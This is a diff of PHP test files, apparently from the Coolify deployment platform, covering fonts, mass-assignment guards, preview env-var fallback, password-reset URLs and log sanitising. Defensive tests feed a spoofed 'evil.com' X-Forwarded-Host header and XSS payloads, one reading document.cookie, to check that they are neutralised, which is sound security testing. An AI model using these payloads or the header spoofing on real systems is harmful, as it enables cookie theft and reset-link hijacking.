$fontsCss = file_get_contents(resource_path('css/fonts.css'));
$appCss = file_get_contents(resource_path('css/app.css'));
$fontPath = resource_path('fonts/geist-mono-variable.woff2');
$geistSansPath = resource_path('fonts/geist-sans-variable.woff2');
expect($fontsCss)
->toContain("font-family: 'Geist Mono'")
->toContain("url('../fonts/geist-mono-variable.woff2')")
->toContain("font-family: 'Geist Sans'")
->toContain("url('../fonts/geist-sans-variable.woff2')")
->and($appCss)
->toContain("--font-sans: 'Geist Sans', Inter, sans-serif")
->toContain('@apply min-h-screen text-sm font-sans antialiased scrollbar overflow-x-hidden;')
->toContain("--font-logs: 'Geist Mono'")
->toContain("--font-geist-sans: 'Geist Sans'")
->and($fontPath)
->toBeFile()
->and($geistSansPath)
->toBeFile();
});
it('uses geist mono for shared logs and terminal rendering', function () {
$sharedLogsView = file_get_contents(resource_path('views/livewire/project/shared/get-logs.blade.php'));
$deploymentLogsView = file_get_contents(resource_path('views/livewire/project/application/deployment/show.blade.php'));
$activityMonitorView = file_get_contents(resource_path('views/livewire/activity-monitor.blade.php'));
$dockerCleanupView = file_get_contents(resource_path('views/livewire/server/docker-cleanup-executions.blade.php'));
$terminalClient = file_get_contents(resource_path('js/terminal.js'));
expect($sharedLogsView)
->toContain('class="font-logs max-w-full cursor-default"')
->toContain('class="font-logs whitespace-pre-wrap break-all max-w-full text-neutral-400"')
->and($deploymentLogsView)
->toContain('class="flex flex-col font-logs"')
->toContain('class="font-logs text-neutral-400 mb-2"')
->and($activityMonitorView)
->toContain('<pre class="font-logs whitespace-pre-wrap"')
->and($dockerCleanupView)
->toContain('class="flex-1 text-sm font-logs text-gray-700 dark:text-gray-300"')
->toContain('class="font-logs text-sm text-gray-600 dark:text-gray-300 whitespace-pre-wrap"')
->and($terminalClient)
->toContain('"Geist Mono"');
});
@@ -0,0 +1,248 @@
<?php
use App\Models\Application;
use App\Models\Server;
use App\Models\Service;
use App\Models\StandaloneClickhouse;
use App\Models\StandaloneDragonfly;
use App\Models\StandaloneKeydb;
use App\Models\StandaloneMariadb;
use App\Models\StandaloneMongodb;
use App\Models\StandaloneMysql;
use App\Models\StandalonePostgresql;
use App\Models\StandaloneRedis;
use App\Models\Team;
use App\Models\User;
describe('mass assignment protection', function () {
test('no API-exposed model uses unguarded $guarded = []', function () {
$models = [
Application::class,
Service::class,
User::class,
Team::class,
Server::class,
StandalonePostgresql::class,
StandaloneRedis::class,
StandaloneMysql::class,
StandaloneMariadb::class,
StandaloneMongodb::class,
StandaloneKeydb::class,
StandaloneDragonfly::class,
StandaloneClickhouse::class,
];
foreach ($models as $modelClass) {
$model = new $modelClass;
$guarded = $model->getGuarded();
$fillable = $model->getFillable();
// Model must NOT have $guarded = [] (empty guard = no protection)
// It should either have non-empty $guarded OR non-empty $fillable
$hasProtection = $guarded !== ['*'] ? count($guarded) > 0 : true;
$hasProtection = $hasProtection || count($fillable) > 0;
expect($hasProtection)
->toBeTrue("Model {$modelClass} has no mass assignment protection (empty \$guarded and empty \$fillable)");
}
});
test('Application model blocks mass assignment of relationship IDs', function () {
$application = new Application;
$dangerousFields = ['id', 'uuid', 'environment_id', 'destination_id', 'destination_type', 'source_id', 'source_type', 'private_key_id', 'repository_project_id'];
foreach ($dangerousFields as $field) {
expect($application->isFillable($field))
->toBeFalse("Application model should not allow mass assignment of '{$field}'");
}
});
test('Application model allows mass assignment of user-facing fields', function () {
$application = new Application;
$userFields = ['name', 'description', 'git_repository', 'git_branch', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'health_check_path', 'limits_memory', 'status'];
foreach ($userFields as $field) {
expect($application->isFillable($field))
->toBeTrue("Application model should allow mass assignment of '{$field}'");
}
});
test('Server model has $fillable and no conflicting $guarded', function () {
$server = new Server;
$fillable = $server->getFillable();
$guarded = $server->getGuarded();
expect($fillable)->not->toBeEmpty('Server model should have explicit $fillable');
// Guarded should be the default ['*'] when $fillable is set, not []
expect($guarded)->not->toBe([], 'Server model should not have $guarded = [] overriding $fillable');
});
test('Server model blocks mass assignment of dangerous fields', function () {
$server = new Server;
// These fields should not be mass-assignable via the API
expect($server->isFillable('id'))->toBeFalse();
expect($server->isFillable('uuid'))->toBeFalse();
expect($server->isFillable('created_at'))->toBeFalse();
});
test('User model blocks mass assignment of auth-sensitive fields', function () {
$user = new User;
expect($user->isFillable('id'))->toBeFalse('User id should not be fillable');
expect($user->isFillable('email_verified_at'))->toBeFalse('email_verified_at should not be fillable');
expect($user->isFillable('remember_token'))->toBeFalse('remember_token should not be fillable');
expect($user->isFillable('two_factor_secret'))->toBeFalse('two_factor_secret should not be fillable');
expect($user->isFillable('two_factor_recovery_codes'))->toBeFalse('two_factor_recovery_codes should not be fillable');
expect($user->isFillable('pending_email'))->toBeFalse('pending_email should not be fillable');
expect($user->isFillable('email_change_code'))->toBeFalse('email_change_code should not be fillable');
expect($user->isFillable('email_change_code_expires_at'))->toBeFalse('email_change_code_expires_at should not be fillable');
});
test('User model allows mass assignment of profile fields', function () {
$user = new User;
expect($user->isFillable('name'))->toBeTrue();
expect($user->isFillable('email'))->toBeTrue();
expect($user->isFillable('password'))->toBeTrue();
});
test('Team model blocks mass assignment of internal fields', function () {
$team = new Team;
expect($team->isFillable('id'))->toBeFalse();
expect($team->isFillable('use_instance_email_settings'))->toBeFalse('use_instance_email_settings should not be fillable (migrated to EmailNotificationSettings)');
expect($team->isFillable('resend_api_key'))->toBeFalse('resend_api_key should not be fillable (migrated to EmailNotificationSettings)');
});
test('Team model allows mass assignment of expected fields', function () {
$team = new Team;
expect($team->isFillable('name'))->toBeTrue();
expect($team->isFillable('description'))->toBeTrue();
expect($team->isFillable('personal_team'))->toBeTrue();
expect($team->isFillable('show_boarding'))->toBeTrue();
expect($team->isFillable('custom_server_limit'))->toBeTrue();
});
test('standalone database models block mass assignment of relationship IDs', function () {
$models = [
StandalonePostgresql::class,
StandaloneRedis::class,
StandaloneMysql::class,
StandaloneMariadb::class,
StandaloneMongodb::class,
StandaloneKeydb::class,
StandaloneDragonfly::class,
StandaloneClickhouse::class,
];
foreach ($models as $modelClass) {
$model = new $modelClass;
$dangerousFields = ['id', 'uuid', 'environment_id', 'destination_id', 'destination_type'];
foreach ($dangerousFields as $field) {
expect($model->isFillable($field))
->toBeFalse("Model {$modelClass} should not allow mass assignment of '{$field}'");
}
}
});
test('standalone database models allow mass assignment of config fields', function () {
$model = new StandalonePostgresql;
expect($model->isFillable('name'))->toBeTrue();
expect($model->isFillable('postgres_user'))->toBeTrue();
expect($model->isFillable('postgres_password'))->toBeTrue();
expect($model->isFillable('image'))->toBeTrue();
expect($model->isFillable('limits_memory'))->toBeTrue();
$model = new StandaloneRedis;
expect($model->isFillable('redis_conf'))->toBeTrue();
$model = new StandaloneMysql;
expect($model->isFillable('mysql_root_password'))->toBeTrue();
$model = new StandaloneMongodb;
expect($model->isFillable('mongo_initdb_root_username'))->toBeTrue();
});
test('standalone database models allow mass assignment of public_port_timeout', function () {
$models = [
StandalonePostgresql::class,
StandaloneRedis::class,
StandaloneMysql::class,
StandaloneMariadb::class,
StandaloneMongodb::class,
StandaloneKeydb::class,
StandaloneDragonfly::class,
StandaloneClickhouse::class,
];
foreach ($models as $modelClass) {
$model = new $modelClass;
expect($model->isFillable('public_port_timeout'))
->toBeTrue("{$modelClass} should allow mass assignment of 'public_port_timeout'");
}
});
test('standalone database models allow mass assignment of SSL fields where applicable', function () {
$sslModels = [
StandalonePostgresql::class,
StandaloneMysql::class,
StandaloneMariadb::class,
StandaloneMongodb::class,
StandaloneRedis::class,
StandaloneKeydb::class,
StandaloneDragonfly::class,
];
foreach ($sslModels as $modelClass) {
$model = new $modelClass;
expect($model->isFillable('enable_ssl'))
->toBeTrue("{$modelClass} should allow mass assignment of 'enable_ssl'");
}
// Clickhouse has no SSL columns
expect((new StandaloneClickhouse)->isFillable('enable_ssl'))->toBeFalse();
$sslModeModels = [
StandalonePostgresql::class,
StandaloneMysql::class,
StandaloneMongodb::class,
];
foreach ($sslModeModels as $modelClass) {
$model = new $modelClass;
expect($model->isFillable('ssl_mode'))
->toBeTrue("{$modelClass} should allow mass assignment of 'ssl_mode'");
}
});
test('Application fill ignores non-fillable fields', function () {
$application = new Application;
$application->fill([
'name' => 'test-app',
'environment_id' => 999,
'destination_id' => 999,
'team_id' => 999,
'private_key_id' => 999,
]);
expect($application->name)->toBe('test-app');
expect($application->environment_id)->toBeNull();
expect($application->destination_id)->toBeNull();
expect($application->private_key_id)->toBeNull();
});
test('Service model blocks mass assignment of relationship IDs', function () {
$service = new Service;
expect($service->isFillable('id'))->toBeFalse();
expect($service->isFillable('uuid'))->toBeFalse();
expect($service->isFillable('environment_id'))->toBeFalse();
expect($service->isFillable('destination_id'))->toBeFalse();
expect($service->isFillable('server_id'))->toBeFalse();
});
});
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,55 @@
<?php
use Illuminate\Support\MessageBag;
use Illuminate\Support\ViewErrorBag;
beforeEach(function () {
$errors = new ViewErrorBag;
$errors->put('default', new MessageBag);
view()->share('errors', $errors);
});
it('renders password input with Alpine-managed visibility state', function () {
$html = Blade::render('<x-forms.input type="password" id="secret" />');
expect($html)
->toContain('@success.window="type = \'password\'"')
->toContain("x-data=\"{ type: 'password' }\"")
->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"")
->toContain('x-bind:type="type"')
->toContain("x-bind:class=\"{ 'truncate': type === 'text' && ! \$el.disabled }\"")
->not->toContain('changePasswordFieldType');
});
it('renders password textarea with Alpine-managed visibility state', function () {
$html = Blade::render('<x-forms.textarea type="password" id="secret" />');
expect($html)
->toContain('@success.window="type = \'password\'"')
->toContain("x-data=\"{ type: 'password' }\"")
->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"")
->not->toContain('changePasswordFieldType');
});
it('renders textarea without monospace classes by default', function () {
$html = Blade::render('<x-forms.textarea id="notes" />');
expect($html)
->toContain('class="input scrollbar"')
->not->toContain('font-mono');
});
it('renders textarea with monospace classes when requested', function () {
$html = Blade::render('<x-forms.textarea id="variables" monospace />');
expect($html)->toContain('class="input scrollbar font-mono"');
});
it('resets password visibility on success event for env-var-input', function () {
$html = Blade::render('<x-forms.env-var-input type="password" id="secret" />');
expect($html)
->toContain("@success.window=\"type = 'password'\"")
->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"")
->toContain('x-bind:type="type"');
});
+247
View File
@@ -0,0 +1,247 @@
<?php
use App\Models\Application;
use App\Models\Environment;
use App\Models\EnvironmentVariable;
use App\Models\Project;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->user = User::factory()->create();
$this->team = Team::factory()->create();
$this->user->teams()->attach($this->team);
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create([
'project_id' => $this->project->id,
]);
$this->application = Application::factory()->create([
'environment_id' => $this->environment->id,
]);
$this->actingAs($this->user);
});
/**
* Simulate the preview .env generation logic from
* ApplicationDeploymentJob::generate_runtime_environment_variables()
* including the production fallback fix.
*/
function simulatePreviewEnvGeneration(Application $application): \Illuminate\Support\Collection
{
$sorted_environment_variables = $application->environment_variables->sortBy('id');
$sorted_environment_variables_preview = $application->environment_variables_preview->sortBy('id');
$envs = collect([]);
// Preview vars
$runtime_environment_variables_preview = $sorted_environment_variables_preview->filter(fn ($env) => $env->is_runtime);
foreach ($runtime_environment_variables_preview as $env) {
$envs->push($env->key.'='.$env->real_value);
}
// Fallback: production vars not overridden by preview,
// only when preview vars are configured
if ($runtime_environment_variables_preview->isNotEmpty()) {
$previewKeys = $runtime_environment_variables_preview->pluck('key')->toArray();
$fallback_production_vars = $sorted_environment_variables->filter(function ($env) use ($previewKeys) {
return $env->is_runtime && ! in_array($env->key, $previewKeys);
});
foreach ($fallback_production_vars as $env) {
$envs->push($env->key.'='.$env->real_value);
}
}
return $envs;
}
test('production vars fall back when preview vars exist but do not cover all keys', function () {
// Create two production vars (booted hook auto-creates preview copies)
EnvironmentVariable::create([
'key' => 'DB_PASSWORD',
'value' => 'secret123',
'is_preview' => false,
'is_runtime' => true,
'is_buildtime' => false,
'resourceable_type' => Application::class,
'resourceable_id' => $this->application->id,
]);
EnvironmentVariable::create([
'key' => 'APP_KEY',
'value' => 'app_key_value',
'is_preview' => false,
'is_runtime' => true,
'is_buildtime' => false,
'resourceable_type' => Application::class,
'resourceable_id' => $this->application->id,
]);
// Delete only the DB_PASSWORD preview copy — APP_KEY preview copy remains
$this->application->environment_variables_preview()->where('key', 'DB_PASSWORD')->delete();
$this->application->refresh();
// Preview has APP_KEY but not DB_PASSWORD
expect($this->application->environment_variables_preview()->where('key', 'APP_KEY')->count())->toBe(1);
expect($this->application->environment_variables_preview()->where('key', 'DB_PASSWORD')->count())->toBe(0);
$envs = simulatePreviewEnvGeneration($this->application);
$envString = $envs->implode("\n");
// DB_PASSWORD should fall back from production
expect($envString)->toContain('DB_PASSWORD=');
// APP_KEY should use the preview value
expect($envString)->toContain('APP_KEY=');
});
test('no fallback when no preview vars are configured at all', function () {
// Create a production-only var (booted hook auto-creates preview copy)
EnvironmentVariable::create([
'key' => 'DB_PASSWORD',
'value' => 'secret123',
'is_preview' => false,
'is_runtime' => true,
'is_buildtime' => false,
'resourceable_type' => Application::class,
'resourceable_id' => $this->application->id,
]);
// Delete ALL preview copies — simulates no preview config
$this->application->environment_variables_preview()->delete();
$this->application->refresh();
expect($this->application->environment_variables_preview()->count())->toBe(0);
$envs = simulatePreviewEnvGeneration($this->application);
$envString = $envs->implode("\n");
// Should NOT fall back to production when no preview vars exist
expect($envString)->not->toContain('DB_PASSWORD=');
});
test('preview var overrides production var when both exist', function () {
// Create production var (auto-creates preview copy)
EnvironmentVariable::create([
'key' => 'DB_PASSWORD',
'value' => 'prod_password',
'is_preview' => false,
'is_runtime' => true,
'is_buildtime' => false,
'resourceable_type' => Application::class,
'resourceable_id' => $this->application->id,
]);
// Update the auto-created preview copy with a different value
$this->application->environment_variables_preview()
->where('key', 'DB_PASSWORD')
->update(['value' => encrypt('preview_password')]);
$this->application->refresh();
$envs = simulatePreviewEnvGeneration($this->application);
// Should contain preview value only, not production
$envEntries = $envs->filter(fn ($e) => str_starts_with($e, 'DB_PASSWORD='));
expect($envEntries)->toHaveCount(1);
expect($envEntries->first())->toContain('preview_password');
});
test('preview-only var works without production counterpart', function () {
// Create a preview-only var directly (no production counterpart)
EnvironmentVariable::create([
'key' => 'PREVIEW_ONLY_VAR',
'value' => 'preview_value',
'is_preview' => true,
'is_runtime' => true,
'is_buildtime' => false,
'resourceable_type' => Application::class,
'resourceable_id' => $this->application->id,
]);
$this->application->refresh();
$envs = simulatePreviewEnvGeneration($this->application);
$envString = $envs->implode("\n");
expect($envString)->toContain('PREVIEW_ONLY_VAR=');
});
test('buildtime-only production vars are not included in preview fallback', function () {
// Create a runtime preview var so fallback is active
EnvironmentVariable::create([
'key' => 'SOME_PREVIEW_VAR',
'value' => 'preview_value',
'is_preview' => true,
'is_runtime' => true,
'is_buildtime' => false,
'resourceable_type' => Application::class,
'resourceable_id' => $this->application->id,
]);
// Create a buildtime-only production var
EnvironmentVariable::create([
'key' => 'BUILD_SECRET',
'value' => 'build_only',
'is_preview' => false,
'is_runtime' => false,
'is_buildtime' => true,
'resourceable_type' => Application::class,
'resourceable_id' => $this->application->id,
]);
// Delete the auto-created preview copy of BUILD_SECRET
$this->application->environment_variables_preview()->where('key', 'BUILD_SECRET')->delete();
$this->application->refresh();
$envs = simulatePreviewEnvGeneration($this->application);
$envString = $envs->implode("\n");
expect($envString)->not->toContain('BUILD_SECRET');
expect($envString)->toContain('SOME_PREVIEW_VAR=');
});
test('preview env var inherits is_runtime and is_buildtime from production var', function () {
// Create production var WITH explicit flags
EnvironmentVariable::create([
'key' => 'DB_PASSWORD',
'value' => 'secret123',
'is_preview' => false,
'is_runtime' => true,
'is_buildtime' => true,
'resourceable_type' => Application::class,
'resourceable_id' => $this->application->id,
]);
$preview = EnvironmentVariable::where('key', 'DB_PASSWORD')
->where('is_preview', true)
->where('resourceable_id', $this->application->id)
->first();
expect($preview)->not->toBeNull();
expect($preview->is_runtime)->toBeTrue();
expect($preview->is_buildtime)->toBeTrue();
});
test('preview env var gets correct defaults when production var created without explicit flags', function () {
// Simulate code paths (docker-compose parser, dev view bulk submit) that create
// env vars without explicitly setting is_runtime/is_buildtime
EnvironmentVariable::create([
'key' => 'DB_PASSWORD',
'value' => 'secret123',
'is_preview' => false,
'resourceable_type' => Application::class,
'resourceable_id' => $this->application->id,
]);
$preview = EnvironmentVariable::where('key', 'DB_PASSWORD')
->where('is_preview', true)
->where('resourceable_id', $this->application->id)
->first();
expect($preview)->not->toBeNull();
expect($preview->is_runtime)->toBeTrue();
expect($preview->is_buildtime)->toBeTrue();
});
+187
View File
@@ -0,0 +1,187 @@
<?php
use App\Models\InstanceSettings;
use App\Models\User;
use App\Notifications\TransactionalEmails\ResetPassword;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Once;
uses(RefreshDatabase::class);
beforeEach(function () {
Cache::forget('instance_settings_fqdn_host');
Once::flush();
});
function callResetUrl(ResetPassword $notification, $notifiable): string
{
$method = new ReflectionMethod($notification, 'resetUrl');
return $method->invoke($notification, $notifiable);
}
it('generates reset URL using configured FQDN, not request host', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com', 'public_ipv4' => '65.21.3.91']
);
Once::flush();
$user = User::factory()->create();
$notification = new ResetPassword('test-token-abc', isTransactionalEmail: false);
$url = callResetUrl($notification, $user);
expect($url)
->toStartWith('https://coolify.example.com/')
->toContain('test-token-abc')
->toContain(urlencode($user->email))
->not->toContain('localhost');
});
it('generates reset URL using public IP when no FQDN is configured', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => null, 'public_ipv4' => '65.21.3.91']
);
Once::flush();
$user = User::factory()->create();
$notification = new ResetPassword('test-token-abc', isTransactionalEmail: false);
$url = callResetUrl($notification, $user);
expect($url)
->toContain('65.21.3.91')
->toContain('test-token-abc')
->not->toContain('evil.com');
});
it('is immune to X-Forwarded-Host header poisoning when FQDN is set', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com', 'public_ipv4' => '65.21.3.91']
);
Once::flush();
// Simulate a request with a spoofed X-Forwarded-Host header
$user = User::factory()->create();
$this->withHeaders([
'X-Forwarded-Host' => 'evil.com',
])->get('/');
$notification = new ResetPassword('poisoned-token', isTransactionalEmail: false);
$url = callResetUrl($notification, $user);
expect($url)
->toStartWith('https://coolify.example.com/')
->toContain('poisoned-token')
->not->toContain('evil.com');
});
it('is immune to X-Forwarded-Host header poisoning when using IP only', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => null, 'public_ipv4' => '65.21.3.91']
);
Once::flush();
$user = User::factory()->create();
$this->withHeaders([
'X-Forwarded-Host' => 'evil.com',
])->get('/');
$notification = new ResetPassword('poisoned-token', isTransactionalEmail: false);
$url = callResetUrl($notification, $user);
expect($url)
->toContain('65.21.3.91')
->toContain('poisoned-token')
->not->toContain('evil.com');
});
it('generates reset URL with bracketed IPv6 when no FQDN is configured', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => '2001:db8::1']
);
Once::flush();
$user = User::factory()->create();
$notification = new ResetPassword('ipv6-token', isTransactionalEmail: false);
$url = callResetUrl($notification, $user);
expect($url)
->toContain('[2001:db8::1]')
->toContain('ipv6-token')
->toContain(urlencode($user->email));
});
it('is immune to X-Forwarded-Host header poisoning when using IPv6 only', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => '2001:db8::1']
);
Once::flush();
$user = User::factory()->create();
$this->withHeaders([
'X-Forwarded-Host' => 'evil.com',
])->get('/');
$notification = new ResetPassword('poisoned-token', isTransactionalEmail: false);
$url = callResetUrl($notification, $user);
expect($url)
->toContain('[2001:db8::1]')
->toContain('poisoned-token')
->not->toContain('evil.com');
});
it('uses APP_URL fallback when no FQDN or public IPs are configured', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => null]
);
Once::flush();
config(['app.url' => 'http://my-coolify.local']);
$user = User::factory()->create();
$this->withHeaders([
'X-Forwarded-Host' => 'evil.com',
])->get('/');
$notification = new ResetPassword('fallback-token', isTransactionalEmail: false);
$url = callResetUrl($notification, $user);
expect($url)
->toStartWith('http://my-coolify.local/')
->toContain('fallback-token')
->not->toContain('evil.com');
});
it('generates a valid route path in the reset URL', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com']
);
Once::flush();
$user = User::factory()->create();
$notification = new ResetPassword('my-token', isTransactionalEmail: false);
$url = callResetUrl($notification, $user);
// Should contain the password reset route path with token and email
expect($url)
->toContain('/reset-password/')
->toContain('my-token')
->toContain(urlencode($user->email));
});
+75
View File
@@ -0,0 +1,75 @@
<?php
use App\Models\Server;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$user = User::factory()->create();
$this->team = Team::factory()->create();
$user->teams()->attach($this->team);
$this->actingAs($user);
session(['currentTeam' => $this->team]);
$this->server = Server::factory()->create([
'team_id' => $this->team->id,
]);
});
it('strips dangerous HTML from validation_logs via mutator', function () {
$xssPayload = '<img src=x onerror=alert(document.domain)>';
$this->server->update(['validation_logs' => $xssPayload]);
$this->server->refresh();
expect($this->server->validation_logs)->not->toContain('<img')
->and($this->server->validation_logs)->not->toContain('onerror');
});
it('strips script tags from validation_logs', function () {
$xssPayload = '<script>alert("xss")</script>';
$this->server->update(['validation_logs' => $xssPayload]);
$this->server->refresh();
expect($this->server->validation_logs)->not->toContain('<script');
});
it('preserves allowed HTML in validation_logs', function () {
$allowedHtml = 'Server is not reachable.<br>Check this <a target="_blank" class="underline" href="https://coolify.io/docs">documentation</a> for further help.<br><br><div class="text-error">Error: Connection refused</div>';
$this->server->update(['validation_logs' => $allowedHtml]);
$this->server->refresh();
expect($this->server->validation_logs)->toContain('<a')
->and($this->server->validation_logs)->toContain('<br')
->and($this->server->validation_logs)->toContain('<div')
->and($this->server->validation_logs)->toContain('Connection refused');
});
it('allows null validation_logs', function () {
$this->server->update(['validation_logs' => null]);
$this->server->refresh();
expect($this->server->validation_logs)->toBeNull();
});
it('sanitizes XSS embedded within valid error HTML', function () {
$maliciousError = 'Server is not reachable.<br><div class="text-error">Error: <img src=x onerror=alert(document.cookie)></div>';
$this->server->update(['validation_logs' => $maliciousError]);
$this->server->refresh();
expect($this->server->validation_logs)->toContain('<div')
->and($this->server->validation_logs)->toContain('Error:')
->and($this->server->validation_logs)->not->toContain('onerror')
->and($this->server->validation_logs)->not->toContain('<img');
});
it('sanitizes event handler attributes in validation_logs', function () {
$payload = '<div onmouseover="alert(1)" class="text-error">Error</div>';
$this->server->update(['validation_logs' => $payload]);
$this->server->refresh();
expect($this->server->validation_logs)->toContain('<div')
->and($this->server->validation_logs)->not->toContain('onmouseover');
});
+9 -8
View File
@@ -7,6 +7,7 @@ use App\Models\ServiceApplication;
use App\Models\ServiceDatabase;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Str;
uses(RefreshDatabase::class);
@@ -14,18 +15,18 @@ it('returns the correct team through the service relationship chain', function (
$team = Team::factory()->create();
$project = Project::create([
'uuid' => (string) Illuminate\Support\Str::uuid(),
'uuid' => (string) Str::uuid(),
'name' => 'Test Project',
'team_id' => $team->id,
]);
$environment = Environment::create([
'name' => 'test-env-'.Illuminate\Support\Str::random(8),
'name' => 'test-env-'.Str::random(8),
'project_id' => $project->id,
]);
$service = Service::create([
'uuid' => (string) Illuminate\Support\Str::uuid(),
'uuid' => (string) Str::uuid(),
'name' => 'supabase',
'environment_id' => $environment->id,
'destination_id' => 1,
@@ -34,7 +35,7 @@ it('returns the correct team through the service relationship chain', function (
]);
$serviceDatabase = ServiceDatabase::create([
'uuid' => (string) Illuminate\Support\Str::uuid(),
'uuid' => (string) Str::uuid(),
'name' => 'supabase-db',
'service_id' => $service->id,
]);
@@ -47,18 +48,18 @@ it('returns the correct team for ServiceApplication through the service relation
$team = Team::factory()->create();
$project = Project::create([
'uuid' => (string) Illuminate\Support\Str::uuid(),
'uuid' => (string) Str::uuid(),
'name' => 'Test Project',
'team_id' => $team->id,
]);
$environment = Environment::create([
'name' => 'test-env-'.Illuminate\Support\Str::random(8),
'name' => 'test-env-'.Str::random(8),
'project_id' => $project->id,
]);
$service = Service::create([
'uuid' => (string) Illuminate\Support\Str::uuid(),
'uuid' => (string) Str::uuid(),
'name' => 'supabase',
'environment_id' => $environment->id,
'destination_id' => 1,
@@ -67,7 +68,7 @@ it('returns the correct team for ServiceApplication through the service relation
]);
$serviceApplication = ServiceApplication::create([
'uuid' => (string) Illuminate\Support\Str::uuid(),
'uuid' => (string) Str::uuid(),
'name' => 'supabase-studio',
'service_id' => $service->id,
]);
@@ -0,0 +1,41 @@
<?php
use App\Livewire\Settings\Updates;
use App\Models\InstanceSettings;
use App\Models\Server;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Once;
use Livewire\Livewire;
uses(RefreshDatabase::class);
test('non-admin user is redirected from settings updates page', function () {
$team = Team::factory()->create();
$user = User::factory()->create();
$team->members()->attach($user->id, ['role' => 'member']);
$this->actingAs($user);
session(['currentTeam' => ['id' => $team->id]]);
Livewire::test(Updates::class)
->assertRedirect(route('dashboard'));
});
test('instance admin can access settings updates page', function () {
$rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]);
Server::factory()->create(['id' => 0, 'team_id' => $rootTeam->id]);
InstanceSettings::create(['id' => 0]);
Once::flush();
$user = User::factory()->create();
$rootTeam->members()->attach($user->id, ['role' => 'admin']);
$this->actingAs($user);
session(['currentTeam' => ['id' => $rootTeam->id]]);
Livewire::test(Updates::class)
->assertOk()
->assertNoRedirect();
});
+95 -4
View File
@@ -1,7 +1,11 @@
<?php
use App\Livewire\SharedVariables\Environment\Show;
use App\Livewire\SharedVariables\Team\Index;
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Server;
use App\Models\SharedEnvironmentVariable;
use App\Models\Team;
use App\Models\User;
@@ -19,13 +23,35 @@ beforeEach(function () {
$this->environment = Environment::factory()->create([
'project_id' => $this->project->id,
]);
InstanceSettings::unguarded(function () {
InstanceSettings::updateOrCreate([
'id' => 0,
], [
'is_registration_enabled' => true,
'is_api_enabled' => true,
'smtp_enabled' => true,
'smtp_host' => 'localhost',
'smtp_port' => 1025,
'smtp_from_address' => 'hi@example.com',
'smtp_from_name' => 'Coolify',
]);
});
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
});
afterEach(function () {
request()->setRouteResolver(function () {
return null;
});
});
test('environment shared variable dev view saves without openssl_encrypt error', function () {
Livewire::test(\App\Livewire\SharedVariables\Environment\Show::class)
Livewire::test(Show::class, [
'project_uuid' => $this->project->uuid,
'environment_uuid' => $this->environment->uuid,
])
->set('variables', "MY_VAR=my_value\nANOTHER_VAR=another_value")
->call('submit')
->assertHasNoErrors();
@@ -38,7 +64,9 @@ test('environment shared variable dev view saves without openssl_encrypt error',
});
test('project shared variable dev view saves without openssl_encrypt error', function () {
Livewire::test(\App\Livewire\SharedVariables\Project\Show::class)
Livewire::test(App\Livewire\SharedVariables\Project\Show::class, [
'project_uuid' => $this->project->uuid,
])
->set('variables', 'PROJ_VAR=proj_value')
->call('submit')
->assertHasNoErrors();
@@ -49,7 +77,7 @@ test('project shared variable dev view saves without openssl_encrypt error', fun
});
test('team shared variable dev view saves without openssl_encrypt error', function () {
Livewire::test(\App\Livewire\SharedVariables\Team\Index::class)
Livewire::test(Index::class)
->set('variables', 'TEAM_VAR=team_value')
->call('submit')
->assertHasNoErrors();
@@ -69,7 +97,10 @@ test('environment shared variable dev view updates existing variable', function
'team_id' => $this->team->id,
]);
Livewire::test(\App\Livewire\SharedVariables\Environment\Show::class)
Livewire::test(Show::class, [
'project_uuid' => $this->project->uuid,
'environment_uuid' => $this->environment->uuid,
])
->set('variables', 'EXISTING_VAR=new_value')
->call('submit')
->assertHasNoErrors();
@@ -77,3 +108,63 @@ test('environment shared variable dev view updates existing variable', function
$var = $this->environment->environment_variables()->where('key', 'EXISTING_VAR')->first();
expect($var->value)->toBe('new_value');
});
test('server shared variable dev view saves without openssl_encrypt error', function () {
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
Livewire::test(App\Livewire\SharedVariables\Server\Show::class, [
'server_uuid' => $this->server->uuid,
])
->set('variables', "SERVER_VAR=server_value\nSECOND_SERVER_VAR=second_value")
->call('submit')
->assertHasNoErrors();
$vars = $this->server->environment_variables()->pluck('value', 'key')->toArray();
expect($vars)->toHaveKey('SERVER_VAR')
->and($vars['SERVER_VAR'])->toBe('server_value')
->and($vars)->toHaveKey('SECOND_SERVER_VAR')
->and($vars['SECOND_SERVER_VAR'])->toBe('second_value');
});
test('server shared variable dev view preserves inline comments', function () {
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
Livewire::test(App\Livewire\SharedVariables\Server\Show::class, [
'server_uuid' => $this->server->uuid,
])
->set('variables', 'COMMENTED_SERVER_VAR=value # note from dev view')
->call('submit')
->assertHasNoErrors();
$var = $this->server->environment_variables()->where('key', 'COMMENTED_SERVER_VAR')->first();
